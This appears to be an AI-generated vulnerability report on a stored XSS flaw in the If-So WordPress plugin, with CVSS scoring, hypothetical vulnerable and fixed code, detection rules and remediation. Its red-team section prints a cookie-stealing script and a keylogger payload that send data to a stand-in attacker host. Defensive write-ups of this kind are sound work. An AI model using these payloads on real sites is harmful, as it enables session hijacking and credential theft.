CVE-2023-51492

Executive Summary

CVE-2023-51492 is a Stored Cross-Site Scripting (XSS) vulnerability in the If-So Dynamic Content Personalization WordPress plugin, affecting versions through 1.6.3.1. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages. When a site administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As a WordPress plugin issue, the attack surface is limited to WordPress installations running the vulnerable plugin, and exploitation does not involve the underlying web server (Apache/Nginx) directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. The lack of a patch from the vendor increases supply chain risk, as users must rely on manual mitigations or alternative plugins.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access or higher
• User Interaction: Required (UI:R) – victim must visit the compromised page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access and user interaction reduces the immediate risk. However, in a multi-author WordPress environment, the impact can be significant if an attacker gains contributor access.

Deep Dive & Mechanics

The vulnerability exists in the If-So Dynamic Content Personalization plugin, which allows site administrators to display personalized content based on user conditions. The plugin fails to properly sanitize user input when saving dynamic content rules. Specifically, the ifso_show_content shortcode or similar input fields do not escape or validate HTML/JavaScript before storing it in the database. When the content is later rendered on a page, the injected script executes in the context of the victim’s browser.

Attack Flow:

1. An attacker with contributor-level access logs into the WordPress admin panel.
2. The attacker creates or edits a dynamic content rule via the plugin’s interface.
3. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a text field that is not sanitized.
4. The payload is stored in the WordPress database.
5. When an administrator or other user views a page that triggers the dynamic content rule, the payload executes.

Root Cause: The plugin uses echo or similar output functions without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (if-so.php or similar):

function ifso_display_content($atts) {
    $content = get_option('ifso_dynamic_content');
    echo $content; // No sanitization
}

Patched Code (Hypothetical):

function ifso_display_content($atts) {
    $content = get_option('ifso_dynamic_content');
    echo esc_html($content); // Escapes HTML entities
}

Alternatively, if HTML is allowed, use wp_kses_post():

echo wp_kses_post($content);

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with If-So Dynamic Content Personalization plugin version <= 1.6.3.1.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to the If-So plugin settings (e.g., /wp-admin/admin.php?page=if-so).
3. Create a new dynamic content rule.
4. In the content field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the rule.
6. Send a link to an administrator to the page where the rule is active.
7. The administrator’s browser executes the script, sending their session cookie to the attacker.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
}
</script>

Blue Team

Detection Steps:

1. Monitor WordPress admin logs for unusual content creation or editing by low-privilege users.
2. Review the wp_options table for suspicious entries containing <script> tags.
3. Use a web application firewall (WAF) to block common XSS payloads in POST requests to /wp-admin/admin-ajax.php or plugin-specific endpoints.

Hunting Query (SQL):

SELECT * FROM wp_options WHERE option_name LIKE '%ifso%' AND option_value LIKE '%<script%';

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available; check plugin files for modifications)
• Network Indicators:
  • Outbound connections to unknown domains from the WordPress server.
  • HTTP requests containing document.cookie in the body.
• Log Entries:
  • WordPress audit logs showing creation of dynamic content rules by non-admin users.
  • Web server logs with POST requests to /wp-admin/admin-ajax.php with action=ifso_save_rule or similar.
• Database Indicators:
  • Rows in wp_options with option_name containing ifso and option_value containing <script> or onerror=.

Detection Engineering

YARA Rule

rule CVE_2023_51492_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in If-So Dynamic Content Personalization plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-51492"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $ifso_option = /ifso_dynamic_content/
    condition:
        $ifso_option and $xss_payload
}

Sigma Rule

title: Stored XSS in If-So Dynamic Content Personalization
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via If-So plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=ifso_save_rule'
        cs-body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-51492 Stored XSS Payload in If-So Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ifso_save_rule"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict contributor roles to only trusted users.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in plugin-specific POST requests.

Long-Term Fix:

• Apply input sanitization and output escaping in the plugin code (see Vulnerable vs. Patched Code section).
• Monitor the plugin’s official page for updates.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for XSS.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.